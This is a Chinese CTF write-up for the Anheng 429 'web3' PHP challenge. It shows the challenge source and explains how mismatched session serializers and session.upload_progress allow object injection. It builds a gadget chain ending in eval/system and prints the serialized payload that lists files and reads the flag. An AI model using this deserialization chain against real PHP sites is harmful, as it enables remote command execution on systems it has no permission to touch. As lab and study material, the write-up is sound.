【安恒429】对web3的一点理解

让你难过的事情,有一天,你一定会笑着说出来。——《肖申克的救赎》



参考资料:

http://www.jb51.net/article/56305.htm

http://drops.wooyun.org/tips/3909

http://cn.php.net/manual/zh/session.configuration.php

web3 总共包括三个文件 index.php class.php phpinfo.php

全都给出了源码,并且给了我们一个phpinfo页面

index.php




ini_set('session.serialize_handler', 'php');

require("./class.php");

session_start();

$obj = new foo1();

$obj->varr = "phpinfo.php";

?>


class.php




highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);

class foo1{
public $varr;
function __construct(){
$this->varr = "index.php";
}
function __destruct(){
if(file_exists($this->varr)){
echo "
文件".$this->varr."存在
";
}
echo "
这是foo1的析构函数
";
}
}

class foo2{
public $varr;
public $obj;
function __construct(){
$this->varr = '1234567890';
$this->obj = null;
}
function __toString(){
$this->obj->execute();
return $this->varr;
}
function __desctuct(){
echo "
这是foo2的析构函数
";
}
}

class foo3{
public $varr;
function execute(){
eval($this->varr);
}
function __desctuct(){
echo "
这是foo3的析构函数
";
}
}

?>


phpinfo.php




session_start();

require("./class.php");

$f3 = new foo3();

$f3->varr = "phpinfo();";

$f3->execute();

?>


从phpinfo页面中 我们可以知道几个信息



PHP Version 5.6.19
session.auto_start Off Off
session.serialize_handler php_serialize php_serialize
session.upload_progress.cleanup Off Off
session.upload_progress.enabled On On
session.upload_progress.name PHP_SESSION_UPLOAD_PROGRESS PHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.prefix upload_progress_ upload_progress_


php.ini里面设置的php反序列化处理器是php_serialize

而在index.php中的处理器是php

此时session.auto_start=Off,就会导致反序列化漏洞,可以实例化我们构造好的对象,并执行类中的__wakeup()以及__destruct(),__construct()等内置的自动触发的方法

参考资料:http://drops.wooyun.org/tips/3909

结合文件代码,看到这里大概我们就知道了,这一题要构造出执行链,然后序列化之后输入到session中,通过反序列化注入对象,并且执行我们想要的命令

这时候问题就来了,输入点在哪?

通读代码,并没有发现$_GET $_POST $_COOKIE等方法。

但是代码中启用了session 所以这里可以用一个奇淫技巧向session里面注入我们构造的数据。

session.upload_progress.enabled=On时

当浏览器向服务器端上传一个文件时,PHP将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中。然后,随着上传的进行,周期性的更新session中的信息。

所以我们就可以自己构造一个上传表单,在表单中注入我们的反序列化字符串

其中enabled控制upload_progress功能的开启与否,默认开启;cleanup 则设置当文件上传的请求提交完成后,是否清除session的相关信息,默认开启。

在上传文件的表单中,需要为该次上传设置一个标识符,并在接下来的过程中使用该标识符来引用进度信息。具体的,在上传表单中需要有一个隐藏的input,它的name属性为php.ini中 session.upload_progress.name 的值;它的值可以由自己定义(假设是“test”)

那么文件上传的信息会存在session的session.upload_progress.prefix+session.upload_progress.name字段里。

在php.ini默认设置的情况下,我们定义的值为test



那么在文件的信息就会存在于$_SESSION['upload_progress_test']中,打印出这个字段的结构后,我们就可以知道,我们可控的字符串字段包括文件名,表单的文件变量名,session.upload_progress.name等。

此时完整的利用链就出来了。

先通过构造文件上传表单,在session中创建一个构造好的反序列化字符串。

然后在通过这里的反序列化缺陷,让他自动执行我们的恶意代码

仔细阅读class.php

$foo1=new foo1();
$foo2=new foo2();
$foo3=new foo3();
$foo3->varr="system('#code to execute#');";
$foo2->obj=$foo3;
$foo1->varr=$foo2;
echo serialize($foo1);


上面的语句可以构造出序列化之后的命令执行

O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:31:"system('ls -al /var/www/html');";}}}



这样就可以执行命令了~~

在构造一下cat /var/www/html/flag_Z11O65g9uWbBUokxujdkc763h83hhZUuzoXe.php

就可以读出来flag了



 

Contact Me

__画船听雨

有想要和我交流的也可以和我邮件联系

Email: admin@nuptzj.cn